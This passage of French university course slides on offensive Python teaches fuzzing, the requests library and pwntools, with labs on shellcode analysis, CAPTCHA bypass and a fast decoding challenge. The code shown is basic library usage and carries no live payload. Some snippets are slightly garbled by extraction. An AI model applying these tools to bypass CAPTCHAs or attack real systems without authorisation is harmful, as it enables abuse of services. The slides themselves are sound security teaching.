ESGI 4A - Programmation et sécurité python avancée 77 / 100
TP 2 - Mais que fait il ?
Utilisez des logger pour afficher votre compte rendu personnel.
Exemple de résultat attendu :
printf $(cat [Link]) | ./[Link]
[+] Testing shellcode of size XXXB
[+] Shellcode analysed !
BOOL CreateProcess (
LPCWSTR = 0x00db8140 =>
...
<Shellcode instructions>
...
[+] Explication : ce shellcode provient... (détailler l'analyse)
ESGI 4A - Programmation et sécurité python avancée 78 / 100
PYTHON OFFENSIF
# Module 3 : automatiser ses attaques
web
Le fuzzing
Le fuzzing (ou test à données aléatoires) est une technique pour tester des
logiciels. L'idée est d'injecter des données aléatoires dans les entrées d'un
programme.
Source : [Link]
Dans un contexte réseau, cela permet de vérifier le comportement
d'un programme lors de la réception de donnée invalide.
Dans un contexte web, cela permet de déceler des points d'entrée
sur une application web.
ESGI 4A - Programmation et sécurité python avancée 80 / 100
Requests - introduction
Requests permet d'envoyer des requêtes HTTP facilement. Il n'est pas nécessaire
d'ajouter manuellement des chaînes de requête à vos URL, ni d'encoder vos
données POST. Le keep-alive et le pooling de connexion HTTP sont 100%
automatiques, grâce à urllib3.
Librairie python manipulant HTTP
Basée sur urllib3
Très populaire
ESGI 4A - Programmation et sécurité python avancée 81 / 100
Requests - installation
Comme d'habitude :
python -m pip install requests
Ou depuis les sources :
git clone [Link]
ESGI 4A - Programmation et sécurité python avancée 82 / 100
Requests - utilisation
Récupérer la liste des évenements GitHub
import requests
r = [Link]('[Link]
print([Link])
Rendu
❯ python3 [Link]
[{"id":"32143574256","type":"PushEvent","actor":{"id":1...
ESGI 4A - Programmation et sécurité python avancée 83 / 100
Requests - utilisation
Rajouter des paramètres dans l'URL
import requests
payload = {'key1': 'value1', 'key2': 'value2'}
r = [Link]('[Link] params=payload)
You can see that the URL has been correctly encoded by printing the URL:
print([Link])
Résultat :
[Link]
ESGI 4A - Programmation et sécurité python avancée 84 / 100
Requests - utilisation
Afficher le contenu d'une image
import requests
from PIL import Image
from io import BytesIO
i = [Link](BytesIO([Link]))
ESGI 4A - Programmation et sécurité python avancée 85 / 100
Requests - utilisation
Modifier ses entêtes
import requests
url = '[Link]
headers = {'user-agent': 'my-app/0.0.1'}
r = [Link](url, headers=headers)
ESGI 4A - Programmation et sécurité python avancée 86 / 100
Requests - utilisation
Réaliser une requête POST Résultat
import requests
payload = {'key1': 'value1', 'key2': 'value2'} {
r = [Link]('[Link] data=payload)
print([Link]) "form": {
"key2": "value2",
"key1": "value1"
}
}
ESGI 4A - Programmation et sécurité python avancée 87 / 100
Requests - utilisation
Envoyer un fichier avec une requête POST
import requests
url = '[Link]
files = {
'file': ('[Link]', open('[Link]', 'rb'), 'application/[Link]-excel',
{'Expires': '0'})
}
r = [Link](url, files=files)
[Link]
ESGI 4A - Programmation et sécurité python avancée 88 / 100
Requests - utilisation
Gérer ses sessions Résultat
import requests
{
s = [Link]()
"cookies": {
[Link]('[Link]
r = [Link]('[Link] "sessioncookie": "123456789"
print([Link]) }
}
ESGI 4A - Programmation et sécurité python avancée 89 / 100
TP 3 - Captcha solver
9 challenges de contournement
de CAPTCHA à résoudre
Indices :
from PIL import Image
import pytesseract
ESGI 4A - Programmation et sécurité python avancée 90 / 100
PYTHON OFFENSIF
# Module 4 : automatiser ses attaques
réseaux
Pwntools
Pwntools est une bibliothèque de développement d'exploits. Écrite en Python,
elle est conçue pour un prototypage et un développement rapide, et vise à
simplifier au maximum l'écriture d'exploits.
Pwntools : [Link]
Très utile en CTF et dans la vraie vie
Conçu pour gagner beaucoup de temps
Incroyable
ESGI 4A - Programmation et sécurité python avancée 92 / 100
Pwntools - installation
Pour les meilleurs
sudo pacman -Suyy
sudo pacman -S python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
Pour les gueux
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntoolsshellco
ESGI 4A - Programmation et sécurité python avancée 93 / 100
Pwntools - usage
Se connecter à une socket TCP distante
from pwn import *
server_ip = "[Link]"
server_port = 8080
client = remote(server_ip, server_port)
[Link](b"Hello There!")
response = [Link]()
print("Response :")
print([Link]())
[Link]()
ESGI 4A - Programmation et sécurité python avancée 94 / 100
Pwntools - usage
Se connecter à une socket TCP distante uniquement en UDP
from pwn import *
server_ip = "[Link]"
server_port = 8080
client = remote(server_ip, server_port, typ='udp'))
[Link](b"Hello There!")
response = [Link]()
print("Response :")
print([Link]())
[Link]()
ESGI 4A - Programmation et sécurité python avancée 95 / 100
Pwntools - usage
Communiquer avec un processus
from pwn import *
io = process('sh')
[Link]('echo Hello, world')
[Link]()
# 'Hello, world\n'
ESGI 4A - Programmation et sécurité python avancée 96 / 100
Pwntools - usage
Se connecter à distance avec SSH
from pwn import *
session = ssh('bandit0', '[Link]', password='bandit0')
io = [Link]('sh', env={"PS1":""})
[Link]('echo Hello, world!')
[Link]()
# 'Hello, world!\n'
ESGI 4A - Programmation et sécurité python avancée 97 / 100
TP 4 - Crazy decoder
Pour réaliser ce challenge vous aurez besoin de décoder ce que vous
envoi le serveur. Mais attention, il faut être (très) rapide
Patience et persévérance sont les clefs de la réussite !
Indices :
import pwntools, base64
ESGI 4A - Programmation et sécurité python avancée 98 / 100
Et maintenant ?
Direction projet final par groupe de 2
Dispo sur MyGes !
ESGI 4A - Programmation et sécurité python avancée 99 / 100
Des questions ?
ESGI 4A - Programmation et sécurité python avancée 100 / 100